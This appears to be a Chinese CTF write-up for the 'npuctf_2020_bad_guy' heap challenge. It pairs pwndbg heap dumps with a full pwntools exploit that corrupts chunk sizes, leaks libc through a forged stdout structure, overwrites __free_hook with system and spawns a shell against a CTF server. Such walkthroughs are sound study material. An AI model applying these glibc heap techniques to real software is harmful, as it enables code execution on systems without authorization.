BK: 0x555555757040 —▸ 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

再继续申请一个大小为0x68的chunk,再free,修复了unsoted bin

1
2
3
4
5
6
7
8
9
10
11
12
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 ◂— 0x0
BK: 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

继续通过溢出将 **unsorted bin ** 的 FD 改为 free_hook - 0x10,并且将chunk_1的content改为”/bin/sh\x00”

1
2
3
4
5
6
7
8
9
10
11
12
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757040 —▸ 0x7ffff7dd3798 (_IO_stdfile_0_lock+8) ◂— 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x555555757040 —▸ 0x7ffff7dd3798 (_IO_stdfile_0_lock+8) ◂— 0x0
BK: 0x7ffff7dd378b (_IO_stdfile_1_lock+11) ◂— 0x0

再申请两次,第一次分配fastbin中的chunk;

第二次分配 unsorte bin 中的chunk,同时将system填入free_hook

1
2
3
4
5
6
pwndbg> x/6gx 0x7ffff7dd378b+29-0x10
0x7ffff7dd3798 <_IO_stdfile_0_lock+8>: 0x0000000000000000 0x000000000000007f
0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a52390 0x0000000000000000
0x7ffff7dd37b8 <next_to_use.11232>: 0x0000000000000000 0x0000000000000000
pwndbg> x/gx 0x00007ffff7a52390
0x7ffff7a52390 <__libc_system>: 0xfa86e90b74ff8548

最后free(0)相当于:从free_hook位置的值(system,正常下为free),对&chunk0(“/bin/sh\x00”)进行操做,最终取得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#-*-coding:UTF-8-*-
from pwn import *
elf=ELF("./npuctf_2020_bad_guy")
libc=ELF("/home/joe1sn/libc/64/libc-2.23.so")
sh=0

lg = lambda name,data : sh.success(name + " 0x%x" % data)

def add(idx, size, content):
sh.sendlineafter(">>",'1')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)


def edit(idx, content):
sh.sendlineafter(">>",'2')
sh.sendlineafter(":",str(idx))
sh.sendlineafter(":",str(len(content)))
sh.sendafter(":",content)


def free(idx):
sh.sendlineafter(">>",'3')
sh.sendlineafter(":",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./npuctf_2020_bad_guy")
else:
sh = remote(ip,port)

add(0, 0x18, 'a'*0x18)
add(1, 0x18, 'a'*0x18)
add(2, 0x68, 'a'*0x68)
add(3, 0x68, 'a'*0x68)
edit(0,(0x20-8)*'b'+p64(0x91))#chunk1->size=0x80
free(1)#unsorted bin : chunk1
free(2)#unsorted bin : chunk2->chunk1
#gdb.attach(sh)
add(4, 0x20-8, (0x20-8)*'c')#unsorted bin : chunk2

# overflow repaire offset chunk1->size unsortedbin_low_2_byte
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p16(0x25dd))
#gdb.attach(sh)
'''
chunk2
0x555555757040 FASTBIN {
prev_size = 0x6262626262626262,
size = 113,
fd = 0x7ffff7dd25dd <_IO_2_1_stderr_+157>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
'''

#iofile_struct
payload = 'a'*3+p64(0)*6
payload += p64(0xfbad1887)
payload += p64(0) * 3
payload += '\x40'
add(5, 0x70-8, 0x68*'d')#chunk5-> iofile(in chunk6)unsoted bin :
add(6, 0x70-8, payload)#chunk6(in <_IO_2_1_stderr_+157>)<-chunk5
#gdb.attach(sh)
sleep(1) #结束read,payload长度不够
addr_stdout_ = u64(sh.recv(6).ljust(8, '\x00'))#leak
libcbase = addr_stdout_ - 0x3c5640
free_hook = libcbase + libc.sym['__free_hook']
system_addr = libcbase + libc.sym['system']
main_arena = libcbase + 0x3c4b78

log.success('addr stdout_ -> '+hex(addr_stdout_))
log.success('malloc hook -> '+hex(free_hook))
log.success('system '+hex(system_addr))
#gdb.attach(sh)
#
edit(0, (0x20-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p64(0)+p64(free_hook-24-5)+p64(0x70))

add(7, 0x70-8, (0x70-8)*'x')#chunk7->free_hook
free(7)
gdb.attach(sh)
edit(0, '/bin/sh\x00'+(0x20-8-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p64(free_hook-0x10))
add(7, 0x70-8, (0x70-8)*'a')
add(7, 0x70-8, p64(system_addr))
sleep(1.5)
free(0)
sh.interactive()

if __name__ == '__main__':
#main(1,1,0,0)
while True:
try:
main("node3.buuoj.cn","29056",0,0)
except:
sh.close()
continue
else:
sh.close()
break